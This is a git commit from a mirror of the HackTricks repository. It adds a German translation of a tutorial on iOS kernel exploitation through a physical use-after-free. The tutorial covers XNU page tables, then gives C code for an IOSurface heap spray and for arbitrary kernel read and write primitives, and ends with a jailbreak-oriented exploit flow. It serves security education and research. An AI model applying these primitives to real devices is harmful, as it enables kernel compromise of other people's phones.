mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 06:00:40 +00:00
Translated ['binary-exploitation/ios-exploiting.md'] to de
This commit is contained in:
parent
8446a50299
commit
c737dfca5e
2 changed files with 204 additions and 0 deletions
|
@ -778,6 +778,7 @@
|
|||
* [WWW2Exec - \_\_malloc\_hook & \_\_free\_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
|
||||
* [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||
* [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||
|
||||
## 🔩 Reversing
|
||||
|
||||
|
|
203
binary-exploitation/ios-exploiting.md
Normal file
203
binary-exploitation/ios-exploiting.md
Normal file
|
@ -0,0 +1,203 @@
|
|||
# iOS Exploiting
|
||||
|
||||
## Physikalisches Use-After-Free
|
||||
|
||||
Dies ist eine Zusammenfassung des Beitrags von [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html). Weitere Informationen über Exploits, die diese Technik verwenden, finden Sie unter [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd).
|
||||
|
||||
### Speicherverwaltung in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
Der **virtuelle Adressraum** für Benutzerprozesse auf iOS reicht von **0x0 bis 0x8000000000**. Diese Adressen sind jedoch nicht direkt auf physischen Speicher abgebildet. Stattdessen verwendet der **Kernel** **Seitentabellen**, um virtuelle Adressen in tatsächliche **physische Adressen** zu übersetzen.
|
||||
|
||||
#### Ebenen der Seitentabellen in iOS
|
||||
|
||||
Seitentabellen sind hierarchisch in drei Ebenen organisiert:
|
||||
|
||||
1. **L1 Seitentabelle (Ebene 1)**:
|
||||
* Jeder Eintrag hier repräsentiert einen großen Bereich virtuellen Speichers.
|
||||
* Sie deckt **0x1000000000 Bytes** (oder **256 GB**) virtuellen Speicher ab.
|
||||
2. **L2 Seitentabelle (Ebene 2)**:
|
||||
* Ein Eintrag hier repräsentiert einen kleineren Bereich virtuellen Speichers, speziell **0x2000000 Bytes** (32 MB).
|
||||
* Ein L1-Eintrag kann auf eine L2-Tabelle verweisen, wenn er den gesamten Bereich nicht selbst abbilden kann.
|
||||
3. **L3 Seitentabelle (Ebene 3)**:
|
||||
* Dies ist die feinste Ebene, bei der jeder Eintrag eine einzelne **4 KB** Speicherseite abbildet.
|
||||
* Ein L2-Eintrag kann auf eine L3-Tabelle verweisen, wenn eine genauere Kontrolle erforderlich ist.
|
||||
|
||||
#### Abbildung von virtuellem zu physischem Speicher
|
||||
|
||||
* **Direkte Abbildung (Blockabbildung)**:
|
||||
* Einige Einträge in einer Seitentabelle **bilden einen Bereich virtueller Adressen** auf einen zusammenhängenden Bereich physischer Adressen ab (wie eine Abkürzung).
|
||||
* **Zeiger auf die Kind-Seitentabelle**:
|
||||
* Wenn eine genauere Kontrolle erforderlich ist, kann ein Eintrag in einer Ebene (z. B. L1) auf eine **Kind-Seitentabelle** in der nächsten Ebene (z. B. L2) verweisen.
|
||||
|
||||
#### Beispiel: Abbildung einer virtuellen Adresse
|
||||
|
||||
Angenommen, Sie versuchen, auf die virtuelle Adresse **0x1000000000** zuzugreifen:
|
||||
|
||||
1. **L1-Tabelle**:
|
||||
* Der Kernel überprüft den L1-Seitentabelleneintrag, der dieser virtuellen Adresse entspricht. Wenn er einen **Zeiger auf eine L2-Seitentabelle** hat, geht er zu dieser L2-Tabelle.
|
||||
2. **L2-Tabelle**:
|
||||
* Der Kernel überprüft die L2-Seitentabelle auf eine detailliertere Abbildung. Wenn dieser Eintrag auf eine **L3-Seitentabelle** verweist, fährt er dort fort.
|
||||
3. **L3-Tabelle**:
|
||||
* Der Kernel sucht den endgültigen L3-Eintrag, der auf die **physische Adresse** der tatsächlichen Speicherseite verweist.
|
||||
|
||||
#### Beispiel für die Adressabbildung
|
||||
|
||||
Wenn Sie die physische Adresse **0x800004000** in den ersten Index der L2-Tabelle schreiben, dann:
|
||||
|
||||
* Virtuelle Adressen von **0x1000000000** bis **0x1002000000** werden auf physische Adressen von **0x800004000** bis **0x802004000** abgebildet.
|
||||
* Dies ist eine **Blockabbildung** auf der L2-Ebene.
|
||||
|
||||
Alternativ, wenn der L2-Eintrag auf eine L3-Tabelle verweist:
|
||||
|
||||
* Jede 4 KB-Seite im virtuellen Adressbereich **0x1000000000 -> 0x1002000000** würde durch einzelne Einträge in der L3-Tabelle abgebildet.
|
||||
|
||||
### Physikalisches Use-After-Free
|
||||
|
||||
Ein **physikalisches Use-After-Free** (UAF) tritt auf, wenn:
|
||||
|
||||
1. Ein Prozess **Speicher** als **lesbar und schreibbar** **allokiert**.
|
||||
2. Die **Seitentabellen** werden aktualisiert, um diesen Speicher auf eine bestimmte physische Adresse abzubilden, auf die der Prozess zugreifen kann.
|
||||
3. Der Prozess den Speicher **deallokiert** (freigibt).
|
||||
4. Aufgrund eines **Bugs** vergisst der Kernel, die Abbildung aus den Seitentabellen zu entfernen, obwohl er den entsprechenden physischen Speicher als frei markiert.
|
||||
5. Der Kernel kann dann diesen "freigegebenen" physischen Speicher für andere Zwecke, wie **Kernel-Daten**, **reallokieren**.
|
||||
6. Da die Abbildung nicht entfernt wurde, kann der Prozess weiterhin **lesen und schreiben** in diesen physischen Speicher.
|
||||
|
||||
Das bedeutet, dass der Prozess auf **Seiten des Kernel-Speichers** zugreifen kann, die sensible Daten oder Strukturen enthalten könnten, was einem Angreifer potenziell ermöglicht, den **Kernel-Speicher** zu **manipulieren**.
|
||||
|
||||
### Exploitation-Strategie: Heap Spray
|
||||
|
||||
Da der Angreifer nicht kontrollieren kann, welche spezifischen Kernel-Seiten auf den freigegebenen Speicher zugewiesen werden, verwenden sie eine Technik namens **Heap Spray**:
|
||||
|
||||
1. Der Angreifer **erstellt eine große Anzahl von IOSurface-Objekten** im Kernel-Speicher.
|
||||
2. Jedes IOSurface-Objekt enthält einen **magischen Wert** in einem seiner Felder, was die Identifizierung erleichtert.
|
||||
3. Sie **scannen die freigegebenen Seiten**, um zu sehen, ob eines dieser IOSurface-Objekte auf einer freigegebenen Seite gelandet ist.
|
||||
4. Wenn sie ein IOSurface-Objekt auf einer freigegebenen Seite finden, können sie es verwenden, um **Kernel-Speicher zu lesen und zu schreiben**.
|
||||
|
||||
Weitere Informationen dazu finden Sie unter [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups).
|
||||
|
||||
### Schritt-für-Schritt Heap Spray-Prozess
|
||||
|
||||
1. **Spray IOSurface-Objekte**: Der Angreifer erstellt viele IOSurface-Objekte mit einem speziellen Identifikator ("magischer Wert").
|
||||
2. **Scannen freigegebener Seiten**: Sie überprüfen, ob eines der Objekte auf einer freigegebenen Seite zugewiesen wurde.
|
||||
3. **Lesen/Schreiben von Kernel-Speicher**: Durch Manipulation der Felder im IOSurface-Objekt erhalten sie die Möglichkeit, **willkürliche Lese- und Schreibvorgänge** im Kernel-Speicher durchzuführen. Dies ermöglicht ihnen:
|
||||
* Ein Feld zu verwenden, um **einen beliebigen 32-Bit-Wert** im Kernel-Speicher zu lesen.
|
||||
* Ein anderes Feld zu verwenden, um **64-Bit-Werte** zu schreiben, wodurch eine stabile **Kernel-Lese-/Schreibprimitive** erreicht wird.
|
||||
|
||||
Generieren Sie IOSurface-Objekte mit dem magischen Wert IOSURFACE_MAGIC, um später danach zu suchen:
|
||||
```c
|
||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||
if (*nClients >= 0x4000) return;
|
||||
for (int i = 0; i < nSurfaces; i++) {
|
||||
fast_create_args_t args;
|
||||
lock_result_t result;
|
||||
|
||||
size_t size = IOSurfaceLockResultSize;
|
||||
args.address = 0;
|
||||
args.alloc_size = *nClients + 1;
|
||||
args.pixel_format = IOSURFACE_MAGIC;
|
||||
|
||||
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
||||
io_connect_t id = result.surface_id;
|
||||
|
||||
(*clients)[*nClients] = id;
|
||||
*nClients = (*nClients) += 1;
|
||||
}
|
||||
}
|
||||
```
|
||||
Suche nach **`IOSurface`**-Objekten in einer freigegebenen physischen Seite:
|
||||
```c
|
||||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||
int nSurfaceIDs = 0;
|
||||
|
||||
for (int i = 0; i < 0x400; i++) {
|
||||
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
||||
|
||||
for (int j = 0; j < nPages; j++) {
|
||||
uint64_t start = puafPages[j];
|
||||
uint64_t stop = start + (pages(1) / 16);
|
||||
|
||||
for (uint64_t k = start; k < stop; k += 8) {
|
||||
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
||||
info.object = k;
|
||||
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
||||
if (self_task) *self_task = iosurface_get_receiver(k);
|
||||
goto sprayDone;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sprayDone:
|
||||
for (int i = 0; i < nSurfaceIDs; i++) {
|
||||
if (surfaceIDs[i] == info.surface) continue;
|
||||
iosurface_release(client, surfaceIDs[i]);
|
||||
}
|
||||
free(surfaceIDs);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Erreichen von Kernel Read/Write mit IOSurface
|
||||
|
||||
Nachdem wir die Kontrolle über ein IOSurface-Objekt im Kernel-Speicher (zu einer freigegebenen physischen Seite, die aus dem Benutzerspeicher zugänglich ist, gemappt) erlangt haben, können wir es für **willkürliche Kernel-Lese- und Schreiboperationen** verwenden.
|
||||
|
||||
**Wichtige Felder in IOSurface**
|
||||
|
||||
Das IOSurface-Objekt hat zwei entscheidende Felder:
|
||||
|
||||
1. **Use Count Pointer**: Ermöglicht ein **32-Bit-Lesen**.
|
||||
2. **Indexed Timestamp Pointer**: Ermöglicht ein **64-Bit-Schreiben**.
|
||||
|
||||
Durch das Überschreiben dieser Zeiger leiten wir sie an willkürliche Adressen im Kernel-Speicher um, was Lese-/Schreibfähigkeiten ermöglicht.
|
||||
|
||||
#### 32-Bit Kernel-Lesen
|
||||
|
||||
Um ein Lesen durchzuführen:
|
||||
|
||||
1. Überschreiben Sie den **Use Count Pointer**, um auf die Zieladresse minus eines 0x14-Byte-Offsets zu zeigen.
|
||||
2. Verwenden Sie die Methode `get_use_count`, um den Wert an dieser Adresse zu lesen.
|
||||
```c
|
||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||
uint64_t args[1] = {surfaceID};
|
||||
uint32_t size = 1;
|
||||
uint64_t out = 0;
|
||||
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
||||
return (uint32_t)out;
|
||||
}
|
||||
|
||||
uint32_t iosurface_kread32(uint64_t addr) {
|
||||
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
||||
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
||||
uint32_t value = get_use_count(info.client, info.surface);
|
||||
iosurface_set_use_count_pointer(info.object, orig);
|
||||
return value;
|
||||
}
|
||||
```
|
||||
#### 64-Bit Kernel Write
|
||||
|
||||
Um einen Schreibvorgang durchzuführen:
|
||||
|
||||
1. Überschreiben Sie den **indizierten Zeitstempelzeiger** mit der Zieladresse.
|
||||
2. Verwenden Sie die Methode `set_indexed_timestamp`, um einen 64-Bit-Wert zu schreiben.
|
||||
```c
|
||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||
uint64_t args[3] = {surfaceID, 0, value};
|
||||
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
||||
}
|
||||
|
||||
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
||||
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
||||
set_indexed_timestamp(info.client, info.surface, value);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
}
|
||||
```
|
||||
#### Exploit Flow Recap
|
||||
|
||||
1. **Trigger Physical Use-After-Free**: Freie Seiten stehen zur Wiederverwendung zur Verfügung.
|
||||
2. **Spray IOSurface Objects**: Viele IOSurface-Objekte mit einem einzigartigen "magischen Wert" im Kernel-Speicher allokieren.
|
||||
3. **Identify Accessible IOSurface**: Ein IOSurface auf einer freigegebenen Seite finden, die Sie kontrollieren.
|
||||
4. **Abuse Use-After-Free**: Zeiger im IOSurface-Objekt modifizieren, um beliebiges **Kernel-Lesen/Schreiben** über IOSurface-Methoden zu ermöglichen.
|
||||
|
||||
Mit diesen Primitiven bietet der Exploit kontrollierte **32-Bit-Lesevorgänge** und **64-Bit-Schreibvorgänge** im Kernel-Speicher. Weitere Jailbreak-Schritte könnten stabilere Lese-/Schreibprimitive beinhalten, die möglicherweise das Umgehen zusätzlicher Schutzmaßnahmen erfordern (z. B. PPL auf neueren arm64e-Geräten).
|
Loading…
Reference in a new issue